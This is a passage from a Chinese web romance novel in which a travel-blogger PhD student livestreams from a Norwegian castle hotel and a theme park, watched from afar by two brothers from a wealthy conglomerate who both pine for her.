网路姐妹们咿咿呀呀附和,打听这是哪个地方,正在会议中的融恒老板施友臻,戴着耳机子在会上自顾自地在第一时间看了视频,顶着那串系统默认的数字字母编码ID留言: “不要随便乱摸宠物。” “自己入住安全吗?没报旅行团?” “今天的衣服也很好看。” 这个新号反正也不存在被认出来的风险,施友臻也算是充分释放,不过他的留言很快再次淹没在评论区,唯独那条“不要随便乱摸宠物”还被网络姐妹眼尖盯住,立刻出警,回复他的很多,这条被顶了上去,十条里面八条骂他对宠物不友好。 施友臻从未体验过被别人追着骂,倒也不至于破防,一板一眼还回了两条,科普如何跟陌生宠物保持社交距离以及安全卫生常识。他不吭声还好,一吭声更是被集中了火力,瞬间成了热评第一名,而且愈演愈烈。 多一事不如少一事,施友臻准备删掉这条的时候,发现林清茉回复了,在施友臻那条下面写着:“不要吵架哦,科普也没错,凡事都两面看嘛。解释一下哈,这家是宠物友好酒店,我小时候家里养过边牧,刚才觉得有点像,忍不住。” 看来不讨喜的争议话题能引起她的注意力。 施友臻一怔,记忆里隐约有点印象,清茉央求着家长养了一条边牧,施友臻只是听说,没有见过,因为边牧刚养没几天,林清茉家就搬走了。 施妈妈接到施友臻电话的时候很是吃惊,对于大儿子突然说要回家吃晚饭这种事情,惊吓大过惊喜,紧张地问着:“是有什么大事要当面告知吗?儿子你给我点心理准备呗,带儿媳妇回来?奉子成婚吗?可以的,那我准备红包?” 施友臻:“不是。” 施妈妈:“那是少衡那货把家里赔光了?” 施友臻:“没有。” 施妈妈松口气。 施友臻下班后去老宅,跟施妈妈吃过晚饭,就去书房待着了,施妈妈给他送水果切盘的时候,瞧着施友臻在翻看家里的相册。施妈妈爱好整理家族档案,施友臻跟施少衡成长的一切她都仔仔细细记录整理,老宅的书房连着一个档案室,里面定制了两大排密集柜,恒温管理防潮防火,甚至有借阅登记簿。 施友臻记得林清茉搬走的年份月份日期,很快找到了那年的影集,家里喜欢拍照的人占多数,他属于少数,不喜欢站在镜头前。施友臻没报太大希望,只是想翻看一下少衡会不会拍下过那只短暂出现过的边牧。 果然有。 施友臻从分开的日期往前翻,看到了林清茉跟少衡的合照,俩人一起握着边牧的牵引绳,冲着镜头笑,很开心很开心的样子。 施友臻只是确认边牧的样子,看完就把相册放回原位,施妈妈站在门口好奇地往里面张望,但是又给予儿子足够的隐私空间,忍不住还是问了句:“找什么东西吗?我这里有索引目录,帮你查吗?” 施友臻摇摇头,心里想着,以后结婚了可以允许她再养一只这个样子的边牧。 结婚吗?施友臻挺无奈地兀自笑了下,界限在于,她在遥远的地方,很自由,很快乐。收回这份快乐和自由,是很残忍的事情。 施友臻没有逗留,很快从老宅离开了。施妈妈头一次见施友臻走神的模样,也收起笑脸,心中忐忑,打电话给了少衡,问他:“你哥怎么了?” 正在热火朝天找项目的少衡不以为意:“他能怎么了,世界毁灭了他也不能怎么了。妈,怎么了?” 施妈妈:“你在念绕口令吗?公司发生什么了?” 少衡:“没啊。” 施妈妈:“哎哟,你哥谈恋爱了吗?” 少衡沉默一会,说着:“没,您别瞎操心。” 施妈妈就没再问,顺便催着少衡周末回家吃饭,少衡嗯嗯嗯答应,施妈妈满意道:“小儿子就是小女儿,贴心。” 不知道是不是小城堡酒店太匹配林清茉的审美知趣,她晚上博了好几篇图文,晒出了晚餐美食,三文鱼、奶酪、炖羊肉、鱼汤、华夫饼,她还特意拍摄了酒店的餐具,洁白的瓷器上是城堡的简笔画,林清茉配文:“要是以前肯定会买一套。” “要是以前”。 施友臻看到这几个字,能补充出林清茉的心境,一个连房子都彻底卖掉,不留后路和根基的人,放任自己漂泊异乡,生活也是极简,感情也是极简,身外之物根本无处安放吧。 施友臻查询了这所酒店的联系方式,在网上也订了一间房,付款后联系商家,诉求是购置一套同款餐具。 林清茉没地方放置,他有的是地方。 清茉睡前开了一小会直播,出现在镜头前的时候,已经是洗漱好的样子,干干净净的气质,跟大家打招呼,还打了个哈欠,轻声细语讲着:“今天走累了,感觉待会倒头就能睡。好喜欢这家酒店,以前觉得这里又冷,黑夜又长,来了才发现好治愈,我都不想着急走了,准备多住几天。” “晚上吃饭的时候,眼大肚子小,点的有点多,鱼汤很鲜美,强推。镇上有一家甜品店,冰激凌听说非常好吃,明儿我去探店。晚上餐厅挺温馨,有个住店的小伙子给大家弹了几首钢琴曲,超治愈,我知道你们想问什么,帅,很帅,超级帅,我们几个自己旅行的人约了明天晚上去登山,从山顶俯瞰小镇夜景,我问问他可不可以出镜,放心期待吧,绝对是姐妹们的粉丝福利。” “再互动一个问题就睡了,酒店的咖啡杯能不能代购?是不是很漂亮,我一眼也喜欢上了,审美一绝,明天我问问酒店,估计运费不便宜,问到了告诉你们。今天也谢谢大家的陪伴,晚安啦。” 施友臻在对话框里输入:“晚安。” 第84章 第八十四章 其实现在旅行博主并不是那…… 其实现在旅行博主并不是那么容易赚取流量, 滤镜加精修,同质化的内容,雷同的情绪供给, 大数据时代想脱颖而出,总得有点过人之处。清茉运营账户的这段时间,产出内容大多随着生活节奏随感而发, 有想发的就发。随性的真实记录,离着流量爆火还很远, 但是也收获了比较稳定的粉丝群体, 很多人爱看这种不加雕琢的日常分享。 比较其他的博主, 清茉还带着几个明显的标签, 比如海外在读博士高知, 比如颜值实在赏心悦目,比如经常开无滤镜的长时间现场直播,良好的教育背景和性格谈吐, 让她就算是随性记载的生活, 也很有格调。 再比如,她好歹上过网络热搜, 就算当时露脸的相关报道被撤掉, 有眼尖的还是捕捉到了, 就有一部分隐秘的窥探和关注,猜测着她跟融恒财团的蛛丝马迹。 融恒置业的经理姐姐对清茉的脸印象深刻, 清茉在六六那里当模特的时候, 她就已经记住这张脸了,后续的那些事儿没少吃瓜,默认林清茉跟小施总关系匪浅。最近融恒置业风里浪里,决策失误的小施总承担了绝大多数责任, 管理层的其他人也不好受,公司也是憋着一口气儿,闷着头寻思出路,很多冗繁的收尾工作需要通宵达旦处理。 融恒置业在行业上行期曾经也是风光无两,公司独占金融核心区域的独栋大厦,小施总接任融恒的时候,很多人闲言碎语,说这就是喂到嘴边。近期投资失败的事情发生后,嚼舌头看笑话的人背地里不知道有多少。 凌晨仍旧灯火通明的融恒置业大厦中,几个中高层带着团队还在加班,小施总施少衡也在他能鸟瞰城区的办公室中待着。 他在看清茉的直播。 施少衡看林清茉的直播不遮不掩,不像他哥还得带着耳机子。少衡直接在办公室昂贵的高清投影上播放,听到林清茉睡前直播轻声软语地里跟粉丝商量下一站的旅行计划: “下一站要不要去主题乐园?你们想看吗?一路都是风景的话是不是有点枯燥,我挺想去玩的,最近乐园不知道人多不多,人多排队很久吧,我明天在APP上研究一下。” “买速通?我看看预算。” “什么时候去?嗯,这边我还想再待两天,明天去镇上逛逛,吃冰激凌,下午准备去看传说中的蓝调时刻,我真该好好学学摄影,我看别的博主拍出来好漂亮。” “直播吗?可以啊,方便直播拍摄的时候我就开。” 融恒置业的经理姐姐敲门进来说事情,少衡也没回避,仍旧开着直播投影,经理姐姐没打扰,站在一旁跟着看了一会,然后真诚感慨:“剪短发了吗?短发也好漂亮,帮姐姐问问皮肤怎么保养,状态太好了。” 少衡对经理姐姐毫不客气说着:“我家茉茉天生丽质。” 经理姐姐:“……”她看过小施总发的那张小时候的合照,都说少时学的知识是石头上刻的,少时青梅竹马的情谊何尝不是,搞不好算是另外一种白月光,那种亲昵,后来者根本介入不了,自成结界,跟全世界都有壁。 但是他们好像也没有坠入庸俗的恋爱关系,经理姐姐看不懂,有分寸地也不会打听,做了一个抱着善意观察的局外人。 少衡盯着影像,突然开口问着:“去年收购的不良资产里,是不是有个老牌大型游乐园?” 经理姐姐:“对,很麻烦的债务,一直搁置没进展。” 少衡:“资料整理出来给我。” 少衡目不转睛盯着还在直播的林清茉,办公室关着灯,高清投影将清茉的脸放大很多倍投映在幕布之上,像在放映一部节奏轻松的电影,女主角带着明显的困意,语气温柔地跟荧幕前的人对话,说晚安。 结束直播的林清茉,伸个懒腰,跋涉之后身体很累,心里没有多余的事情,整个人放松地陷入床褥,轻飘飘很快睡着了,睡得很沉,旅行的意义就是这样,释放灵魂,铭记瞬间。 第二天的天气很好,清茉去镇上吃到了手工冰激凌,要了两个口味,开心果和咖啡的,都很喜欢,吃掉超满足。她在小镇上漫无目的地溜达,进商店买了几份纪念品,鹿角开瓶器,小镇红房子冰箱贴,巧克力,毛毡驯鹿和鲸鱼,每样买了两件。 中午回到酒店房间短暂休息,清茉把买到了纪念品发网上,在评论区抽奖。精挑细选的礼品很受欢迎,留言很多,清茉抽了十位留评的幸运粉丝,扫了一眼,其中有个数字混杂字母的乱码ID显得格格不入,好像是上次那位对宠物不友好被姐妹们出警的同志。 清茉心里有点犯嘀咕,耐着性子翻看这位乱码ID的评论,不知道是不是太想得到奖品,竟然一口气刷了十几条,清茉翻了翻前几天的评论区,这位乱码ID很热衷于留言,清茉打消了怀疑,那个人不会话这么多。 就算中奖了,这位乱码ID还继续留言:“只能给一件吗?都想要。” 果然又被没有中奖的姐妹们出警,嫌弃中奖了还不知足。 乱码ID分配到的应该是毛毡驯鹿,清茉继续在评论区维持秩序,好脾气地留言写着:“下次还有机会哦,新的城市有新的纪念品。” 幸运粉丝施友臻放大毛毡驯鹿的照片,心情不错,满意,但是不满足。他根据中奖名单,一个一个去私信另外的中奖者,要收齐另外4样纪念品。 施友臻不太擅长在网上做这种交际,好在溢价足够高的谈判算是容易的谈判,超出常识的溢价有两个附加条件,一是不能被博主知道,二是平时帮他点赞评顶前排去。其实没有约束力的承诺施友臻也不怎么在意,知道也无所谓,被拉黑了可以继续换号。林清茉心大着呢,放得下全世界,唯独对他刻薄冷漠无情。 昨天夜里弹钢琴的金发碧眼帅小伙儿也加入了一起登高望远的团队,几个人到齐就一起出发了。到达观景的位置,清茉先问了小伙子愿不愿意出镜,对方性格很好,跟清茉交换了账号,大方方答应在清茉直播里露脸。 夜幕之前的蓝调时刻如期而至,阳光被高层大气散射成冷调蓝光,蓝色的海洋连着远处的山峦冰川,城市灯光点缀在盈盈的天地蓝光之间。 清茉开了直播,拍摄着眼前浪漫景色,邀约帅哥担任今天的讲解,给大家介绍道:“今天由我们的新朋友Erik担任导游。” Erik明朗地跟镜头打招呼,介绍一番自己,突然有点害羞,后知后觉地问着清茉有多少人观看,清茉笑着去看直播间人数,报了个数字,Erik惊呆,瞬间脸红,磕磕巴巴说着: “天呐,好多人,我也没了解很多,突然不知道说什么,不如给大家唱一首歌吧,是我家乡的民谣。” 一起的同伴应景地鼓掌,Erik背过镜头,面朝着小镇和峡湾,低低吟唱他家乡的民谣,陌生的语言完全听不懂意思,意境却足够浪漫,天地安静,歌声像飘到了很远的地方。 唱完的小伙子又红了脸,清茉觉得可爱又好笑,这么腼腆的人主动提出唱歌,反正直播效果是拉满了,内容充实又有视觉冲击,晚上直播间格外热闹,都在呼唤帅小伙返场。直播结束后清茉请Erik到山顶咖啡馆喝咖啡,几个来自于天南海北的陌生人闲聊着各自的生活。 结伴返回酒店,清茉在完全没有心理准备的情况下,突然接到了六六的电话,六六很兴奋地讲着:“茉茉,要是我婚礼提前两个月举办,你能不能回来参加?” 那确实挺仓促的,清茉问她:“怎么了?这么着急?” 六六乐呵呵说着:“我有一个超级想预订的场地,但是得提前一年预订才行,原来我都放弃了,场地方刚刚打电话给我,说临时空出来一个档期,问我行不行,那我必须行啊,是我少女时代的梦想,老焦也同意,反正我们日子随便挑的。我想着赶紧告诉你一声,不过你随意哈,不方便回来没关系,我们蜜月旅行的时候找你玩。” 清茉问清楚日子,翻看了下自己的日历记事本,迟疑说着:“我还定不下来,得过几天再说,可能要跟导师沟通一下。” 六六宽慰道:“没事儿,我把那个场地发给你,超梦幻,你看了就知道我为什么改期也要订这里。” 清茉点开六六发来的场地介绍文件,确实梦幻,想不到风风火火的六六还有这么小女生的执念,说着:“你开心最重要。” 原本以为会心情轻松安静入睡的夜晚被六六的一通电话搅得心神不宁,清茉宽慰自己大概是因为夜幕降临的时候多喝了一杯山顶咖啡,很难睡着了。 按照原本六六请帖上的日程,时间宽裕,可以安排好这边的事儿赶回去。对了还是少衡送来的请帖,清茉走神想着,这货突然登门之后就销声匿迹,真是神一阵鬼一阵。六六婚礼突然改期,旅行都不一定结束,学校里也排了事情。 应该来不及回去,但是她可以给六六准备新婚礼物。 或者再看看。 睡前处理邮件,顺便看了眼评论区,眼熟的乱码ID在评论区问:“没有睡前直播?”,不知道为什么好几个人给乱码ID点赞,把这条顶到了前排,清茉没多想,以为是大家都想问,就在这条下面回复。 碎片化的时代,有黏连度高的粉丝,应该心存感激,清茉回复他:“今天不播了,友友们晚安。” 第85章 第八十五章 天气预报说有雪,雪花从深…… 天气预报说有雪, 雪花从深夜一直瓢到上午,实际降雪比预期更大,正好导师那边有篇要修改提交的报告, 清茉干脆继续放松节奏,没有安排行程着急出发,在城堡酒店的房间窝着, 面朝大海的窗户能看到大雪覆盖的峡湾和海岸边的船舶,清茉拍了窗棂雪景发网上, 写着:“今天不更新视频, 要工作。” 粉丝对清茉的专业也很感兴趣, 清茉偶尔也科普一点人文学科方面的研究, 会介绍有意思的书籍给大家, 今天比较活跃的一个粉丝小姐妹留言:“工作也可以直播哦,关注过一个写文章的博主,每次写作都开直播。” 清茉回复:“不会无聊吗?” 小姐妹:“也没什么损失嘛, 你忙你的, 我们忙我们的,相互做背景, 天涯存知己。” 清茉:“懂的, 高山流水, 子期伯牙,谢谢姐妹, 我开一次试试。” 清茉就真的把直播打开了, 镜头拍着窗外景色,自己摆出电脑开始整理文稿,非母语的文章写起来不容易,每次需要查资料校正的地方很多, 清茉忙起来就忘记了镜头的事儿,坐在那儿集中注意力一气儿写了将近仨小时,整个直播间只听到她敲打键盘的声音,还有反射在窗户上的剪影。 修改完一个章节,清茉才起身活动,转过镜头问着:“还有人在?手机都要没电了。” 直播间没剩多少人,眼熟的乱码ID留言:“镜头该拍摄人。”好几个姐妹在跟楼里面“哈哈哈哈哈哈”,说人家码字直播间确实是镜头对着人,不是对着窗户,见过干巴直播,没见过这么干巴的。 清茉乐道:“镜头对着我工作会分心嘛,骚瑞啦,聊会天?随机抽取问题。第一个,在写什么?在改一篇文章,要提交给导师。话说我怎么觉得英语不管学多久,都是刚开始背abandon的心情,每次写东西都要查查查,遇到专业术语很多的文章,一点儿都不自信。” “今天去哪儿玩?今天哪儿都不去了,要改完文章,待会就真的不播了,我订了明天的机票,今天一定得完成。” “昨天的帅哥?Erik吗?他们今天一早已经离开了,跟我行程是反着的,他们要出海看鲸鱼,对,就是真正意义上的萍水相逢。” “吃什么美食?早晨吃了刚烤出来的黑麦面包和橘子果酱,餐厅今天有帝王蟹,估计还有熏三文鱼、煎鳕鱼,对了吃到了超好吃的鳕鱼干,待会我买几包送给大家。酒店的咖啡杯我问过了,是特别定制的款,没有现货,不能对外售卖。” “下一站是哪里?我预订了后天主题乐园的门票,还是想去玩,这边太静了,换到热闹环境里待几天,明天飞过去,休息一晚,然后去乐园玩,你们有玩过的可以给我推荐必刷项目,国内的乐园好几年前跟朋友一起去刷过,对,烟花肯定要看,喜欢看烟花,咱们那儿年节都见得少了,反倒是在乐园里看得尽兴。” 直播间今天人数不多,清茉简单互动几句就退出了,安心赶文章,忙到晚上吃到了新鲜的帝王蟹,跟餐厅的工作人员也已经熟络,对方推荐她下次可以试试亲自出海捕捞,清茉感谢,说着:“下次一定去试试。” 赞助户外服装的品牌方杨经理联系清茉,得知清茉的下一站要南行大几百公里,而且正好是品牌总部,她就在那里办公,就约清茉明天在抵达后的机场见,她安排当地的品牌工作人员给清茉送匹配当地温度的新服饰装备,得知清茉要去主题乐园,特意把样式和参数信息文件发给清茉,让她参考构思新的推广内容。 跟这么负责细致的品牌方合作,清茉也格外重视,写完学术文章就开始研究穿搭,搜素乐园里面那些可可爱爱的装饰怎么搭配更出片,她首选了一套米色的套装,感觉跟色彩鲜明的乐园配饰会比较协调,有质感还不抢镜。 第二天出发离开小城堡的时候,有点不舍,安静的峡湾是可遇不可求的童话镇,蓝调天光里听不懂的民谣散在风中,山顶咖啡厅里闲聊的陌生旅人相聚又分开,还有铺着鹿皮地毯的安静房间,一切都静谧美好,不觉得白昼短暂是困扰。 航班抵达新的城市,刚下飞机往出口走,清茉耳朵和眼睛适应了一下周遭新的语言环境,观察着机场各种标识,不时得停住脚步寻找正确的方向。 突然间觉得后背被人贴住,还以为挡住了别人的路,刚想挪步,被拥入带着体温和力度的怀抱,对方身形高大,很用力地将她扣进胸前怀中,下巴抵到清茉肩膀上,贴着耳朵叫她:“茉茉。” 拥抱太紧,清茉惊得心跳加速,侧脸看去,讶异地发现,竟然是少衡。 清茉不施粉黛的侧脸干干净净就在咫尺,少衡抬头停滞半秒,就着背后拥住她的亲昵姿势,很轻地亲了下清茉的脸颊,笑道:“入乡随俗的见面礼。” 清茉推开他的脸,问着:“你不会看了我直播赶过来蹲我航班吧?疯掉了吗?” 少衡帮清茉推着行李车,反常地没有插科打诨继续犯浑,一边往外走一边挺实在地解释起来:“去年我负责的公司收购了一个破产的游乐园,占地面积很大,位置一般,交通跟配套都不理想。” 他讲这些话的时候,蹙着眉头,清茉侧脸抬头看他,立刻猜到少衡的想法,问他:“你想改造?很难吧,这跟改造个旧粮仓旧厂房可不一样,应该说超难吧,软件硬件条件都不行,投资就是无底洞,你哥怎么说?” 少衡看向清茉,没什么表情的脸上,跟他哥有了几分神似,严肃起来的气场下属看到会觉得威压,清茉瞧见却觉得他心事重重。少衡说着:“还没跟他说过,只是我突然冒出来的想法,他也不知道我过来,保密。” 清茉:“融恒虽然已经是非常成功的大集团公司,可这里的IP乐园国内已经有了,版权都不好谈,根本不可能。或者,换个很受欢迎,但是没有使用过的IP?” “不全是IP的困难。”少衡一只手推着车,腾出另外一只,去牵住清茉的手,很自然地跟她十指交握,清茉抽了抽没抽出来,就任由他握着了,还是心软,见他心事重重的样儿,像个逃兵。 少衡脸上凝重思考的神色褪去,很快带着笑意说着:“嗯,就是这个意思,所以先体验,一边体验一边思考,我有个想去谈的IP,茉茉你猜一猜,猜对了有奖励。” 清茉:“我不猜,不掺和你们的事儿。不过你可得做好评估,别脑门一热就砸钱,挣钱不容易的。” 少衡使劲儿攥了攥她的手,反驳道:“讲这种话就是已经掺和了,我跟我哥说,都是受你鼓动,你才是罪魁祸首。” 清茉一听,觉得悚然,汗毛都要竖起来,服气道:“你自己都不敢跟你哥汇报吧,扯我。” 说话间清茉接到了电话,品牌方杨经理带着工作人员来机场接清茉,核对了位置,对方没几分钟拉着行李箱小跑过来,杨经理看到林清茉身边的男人,也是惊讶地一怔,强装镇定打招呼道:“嗨,又见面了,介绍一下,这是我们这边的专员,您看有必要的话,她这两天可以陪您一起逛逛,有需求可以及时协调。” 清茉跟杨经理身边的女孩打招呼,看杨经理好奇地瞧了好几眼少衡,也简单介绍道:“我跟朋友一起,就不麻烦了。” 杨经理很有眼力价儿把新的套装交给清茉:“明白明白,那就不打扰了,随时联系。” 送走杨经理,少衡好奇问着:“谁?” 清茉指了指自己外套上的LOGO,说着:“少爷,劳动人民是要挣辛苦钱的,你偷窥我视频跟踪我行程,不知道我接了推广?” 少衡不屑:“哦,这么殷勤还是为你是甲方。” 清茉:“说什么呢,人家杨经理工作态度超端正,勤快又聪明,你什么臭毛病背后说人。” 少衡被她骂也不恼,晃晃拉着清茉的手,翻篇说着:“订了酒店,走吧。” 清茉自己已经订好酒店了,挣开少衡的手,去背自己的包,说着:“你自己去吧,我订的酒店已经付款了。” 少衡拽住清茉的背包带子,甩到自己肩膀上,抱怨:“这么沉,你小身板怎么背这么沉的包?”又去牵着清茉的手,拉着她往前走,说着:“我订了园区酒店最贵的套房。” 清茉一听,卸了力气,任由少衡牵着往前走,嘴巴上不依不饶:“你不是赔钱了吗?零花钱没被停?不怕你哥知道?” 少衡乐:“你猜我哥知道,先揍我,还是先揍你。” 清茉:“我跟他现在可没关系。” 少衡:“我哥善于强关联你不知道吗?一条绳子上的蚂蚱,咱俩能蹦哒几天是几天吧。” 清茉:“……”不愧是可以共享少时灵魂的搭档,一边背后蛐蛐一边害怕一边无所忌惮。 少衡跟他哥的区别是,少衡看着不靠谱,但是会不声不响地提前订好两间房,给清茉的那间是公主主题的套房,自己订了另外一间普通房型。清茉百分之百肯定,如果是施友臻订房,绝对不会征求任何意见,他肯定直接只定一间房。 办完入住清茉说实话有点累,但是跟粉丝约定好今天要发内容,少衡给订的房间就是很好的素材,清茉录了一段Room Tour,她对IP很熟悉,一边录制一边介绍细节里的小趣味,最后的时候说着:“其实本来预订了周边经济酒店,朋友给我惊喜,预订了这个房间,还真是住进来就是公主,朋友们请期待接下来的乌托邦之旅,待会见啦。” 闭园前还来得及赶过去看烟花,清茉答应过评论区的粉丝待会要直播烟花和灯光秀,办入住的时候少衡已经绑定门票买了增值服务,拉着清茉去了预留观赏位,清茉乐道:“你什么时候研究的,看来是真上心调研,世上无难事只怕有心人,加油哦。” 音乐,灯光,烟花,还有林清茉快乐的笑,少衡原本对这些公主、动物、幻想的幼稚IP无感,对于传达的真诚、善良、勇敢、独立也没有什么感触,全都像另类的伪善和别有用心的降智骗局,可瞧着站在他胸口前,随着音乐快乐摇摆,不停哇哇哇感慨的林清茉,少衡嘴角不自觉间也带了笑。 原来,这里像一个的避风港。 清茉一直举着手机,少衡伸手握住,支撑着她的手,说着:“累吗?我来吧。” 清茉没听清楚,大声问着:“什么?” 少衡贴近她的耳朵,说着:“我说我来拿手机,你好好玩。” 少衡虽然帮她举着手机,但是一只胳膊把清茉圈在胸前,下巴搭在清茉肩上,也放松地深呼一口气,避风港可以短暂地圈住童年心境,确实很快乐。 因为是直播,俩人的对话都收了进去,直播间的小姐妹们敏锐地捕捉到了,纷纷留言问是谁,清茉已经把手机给了少衡,自己专心享受现场的快乐,没在意。 施友臻在天际泛白的清晨也观看了这场乐园烟花直播,他的新住宅空间宽敞,客厅有一面挑高夸张的白墙,特意定制了投影幕布,比起影音室,他更喜欢在客厅看投影,遥远国度的乐园迎来最后最绚烂的烟花,照亮那边的黑夜和这边的黎明。 施友臻也在直播间打字:“身边是谁?” 清茉今天一条评论也没空理会,直播随着烟花的结束也结束了,清茉退出前兴致很高地喊着:“好梦幻!谁还不是小公主呢对不对,今天就直播到这里了,明天我跟朋友应该是尽兴玩全天,回头剪视频,就不直播了,朋友们,晚安,祝大家也快乐度过每一天!” 画面黑屏,直播结束。 施友臻换上跑步装备出门晨跑。 快乐度过每一天吗? 他们之间的距离,就是用快乐来衡量的,林清茉越是快乐,他们的距离就越远,越是快乐,就越远。 第86章 第八十六章 看完烟花再走回酒店,就算…… 看完烟花再走回酒店, 就算是擅长徒步的清茉也累得苦哈哈,少衡还是一副养尊处优的公子哥样儿,悠闲得看不出一点疲态, 拽着清茉进商店继续逛,清茉都想席地而坐等他,打趣道:“你是不是工作不饱和?没累着你吧。我好累, 不想走了。” 少衡逛完商店,排队结完账, 往清茉怀里扔了一只毛绒绒熊仔:“回去抱着睡。”他半拽半拉着清茉往回走, 回到酒店大堂, 清茉坐在大厅华丽的琉璃吊灯下面缓口气, 怀里踏踏实实抱着毛绒绒的大熊, 少衡去点了热饮和蛋糕,陪清茉回房间。 少衡要来清茉的电脑,在外间打开电脑文档办公, 清茉一边刷牙一边凑过来看, 问他:“公主要洗澡睡觉了,请这位先生回自己房间好吗。” 少衡盯着电脑屏幕, “嗯”了一声, 继续敲敲打打, 半晌才抬头,一下直直地迎上清茉明澈漂亮的大眼睛, 愣怔一瞬, 别过目光,说着:“公主该洗洗,该睡睡,请不要打扰王子办公。” 清茉瞥了眼电脑屏幕, 确实是工程类的专业文件,就没再催促,倒是少衡催她:“先把热牛奶喝了再刷牙。” 清茉坐旁边一边喝牛奶一边好奇地瞧着少衡的文件,啧啧两声:“士别三日当刮目相看啊,什么项目?看着挺复杂。” 少衡:“商业机密无可奉告。” 清茉已经喝完半杯,喝不下了,放下杯子起身:“机密怎么不用保密机,那我不看了。” 少衡随手拿过清茉剩下的半杯热牛奶,一边办公一边喝掉了。 热水澡冲掉一天的疲惫,清茉舒舒服服地换好睡衣,少衡还在处理工作,清茉没打扰,她知道少衡并不全是来陪玩,心里装着事儿呢。清茉自己上床准备睡,朝着外面喊了声:“用完电脑给我收好,走的时候关灯,谢谢。” 少衡听到动静走进来,左右四下环顾,站在床边拿起清茉的化妆包,打开翻看,清茉不解问他:“干嘛?” 少衡:“检查你有没有乱吃药。” 清茉没想到他这么在意这茬,解释着:“没有再吃了,听你的好好调理着呢,今儿这么累,我肯定沾枕头就睡,你可别提这茬,越提越想。” 少衡放下化妆包,给她关上了床头灯,说着:“这还差不多,睡吧。” 清茉:“嗯。” 施少衡在外面处理文件到很晚,期间进卧室看了几次清茉,确认她确实已经安睡,心无防备,呼吸平稳,恬静得就是很像小公主。少衡手指很轻地拨弄她额前碎发,更轻地讲了句“晚安”,顺便把放在床头的毛绒绒大熊塞进清茉被子里。 清茉第二天睡到自然醒,今天肯定要美美拍照录视频,时隔很久地精心画了全妆,戴着昨天买的玫红色毛绒绒熊耳朵发箍,整个人白白嫩嫩,像散发着香甜果香的奶油草莓。 俩人约在餐厅,少衡瞧见她,觉得早餐餐厅里那些甜腻腻的甜甜圈,都没有清茉糯糯的可爱模样甜,很喜欢,揪着清茉发箍耳朵玩了一会,喝着咖啡陪清茉一起吃早餐。清茉也想喝咖啡,少衡不让,端得远远的,说着:“不能喝带咖啡因的饮品,喝橙汁,乖。” 卡通人偶胖鸭鸭撅着硕大的可爱屁股,在餐厅热情地一桌一桌合影,轮到清茉这桌的时候,少衡很自然地揽着清茉的肩膀,俩人挨着脑袋冲着镜头比耶。 在施妈妈的书房档案室,少衡小时候的影集格外多,占据了满满两排柜子,而属于童年的那部分,总绕不开跟一个明朗小女孩的合影,小时候一起拍过太多合照,小时候怎么拍,现在也怎么拍。 因为默契的肌肉记忆,已经变得稳重的少衡,不自觉地对着镜头抬手就比耶,俩人比划完,估计都觉得傻气,看着彼此都乐了。 小时候怎么拍,这会儿还是习惯怎么拍。 早饭后溜达着进园,施少衡自然又全部买了附加服务,能速通的全部速通,清茉堪称人菜瘾大,各种过山车、跳楼机都要玩,就是喜欢失重的刺激快感,玩的时候疯狂尖叫,震得少衡耳朵疼,还要全部重新玩一遍的时候少衡忍不了,拉她到旋转木马上缓缓。 结果低幼的项目她反倒头晕,下来就把脑门抵在少衡后背上,嘀嘀咕咕说着:“你慢点走,好晕,小朋友的项目这么晕的吗?我得去玩个过山车缓缓。” 少衡坚决不同意再玩一遍,拽着清茉去看了场演出冷静冷静,出来正好赶上花车巡游,清茉跟公主们狂挥手互动,收获了来自不同公主的飞吻,开心得眼睛弯弯亮亮,少衡用自己手机给她拍了好照片。巡游结束的时候人流集中,少衡将她护在胸前,顺着人流走到一个冰激凌点位,清茉去买了两个椰子冰激凌,一手一个冰激凌举着笑盈盈朝少衡跑过来。 少衡没着急接,俯身蹲下给清茉系鞋带,清茉有点不好意思,看着少衡的发顶,说着:“你拿着冰激凌我自己系嘛。” 少衡不介意,很快系好,站起来接过冰激凌:“公主哪儿能自己动手。” 小时候他俩很长时间都不会自己系鞋带,相互帮助更是不可能,没少喊旁人帮忙。其中的“旁人之一”,就有施友臻。最夸张的是一次社区儿童足球比赛,施友臻作为家长代表陪同参加,结果场上的少衡跟清茉,连续松鞋带,一会这个跑到施友臻面前,一会那个跑到施友臻面前,叽叽喳喳复读机似的喊着:“哥,帮我系鞋带!”“哥,快帮我系鞋带!” 施友臻虽然话少,不苟言笑,但是对待这两位,总是很有耐心,蹲下身子一个一个都给绑得漂亮又结实。林清茉踢得小脸都是汗,头发也毛糙糙松开,施友臻给她系好鞋带,实在看不过眼就顺便再给她扎扎辫子,清茉还不耐烦,一个劲儿催促他:“哥哥哥快点快点上场了不要扎了!” 清茉允许自己走神了几秒,椰子冰激凌让她回神,少衡觉得该去吃热乎饭了,问清茉想吃什么,又累又饿的时候当然想吃汉堡薯条,少衡本来想去市里吃点精致的,清茉不想去,她待会还想看烟花,少衡就妥协了,陪她去吃厚厚的大汉堡,看她吃得实在是香,吃完饭闲逛的时候,少衡特意给她买了鼠鼠厨师帽。 人生没有重复的时刻,今天跟昨日就已经很不同了。相同的烟花秀绽放在天空的时候,昨天哇哇哇嗨得吱哇乱叫的人,今天安安静静坐在一起仰望着天空和城堡。 他俩从小就习惯依偎在一起,一起凑着脑袋看画册,玩玩具,过家家。 成年后的异国他乡,他俩现在都是在人生路上徘徊的人,年龄已经成年很久,灵魂在这一瞬蜷缩回幼年的模样,褪去游玩的兴奋,彼此安静地看着天空上的烂漫,一个是活在别人影子里的烂泥,一个像不能停止游泳的鱼要一直跋涉。 少衡攥了攥清茉的手,在户外时间太久,手都冰凉了,握着她的手揣进了自己衣服兜里。烟花结束,少衡送清茉到酒店,在大堂门口停了下来,说着:“茉茉,我晚上要赶回去,你的房间明天还续住了一天,今天早点休息,明儿有想玩的自己再去刷。” 清茉点头:“哦,行,快回去忙吧。” 来接少衡的车已经停在一旁,清茉送他上车,因为没有心理预期就这么分别,她觉得该说些什么,几番欲言又止,最后扶着车门,对已经坐到后座的少衡说着:“加油哦。” 少衡笑:“嗯,你也是。”又打趣她:“要是过不下去,就回来找我结婚。” 清茉:“滚。” 目送车子驶离,直到看不到车尾灯,清茉才回房间,洗漱好准备剪辑视频,发现电脑包里有一个印着融恒标识的信封,手指触摸融恒烫金钢印的熟悉标识,打开信封,里面放着一沓现金,还有少衡留的字条。 少衡跟清茉小时候是一个书法老师,软笔硬笔都练,俩人字迹有些像,少衡是男孩,力道更锋利些,字条上挺朴素地写着:“吃好餐厅,住好酒店。” 清茉心里软软暖暖地,把信封收好,又看了眼信封上的LOGO。 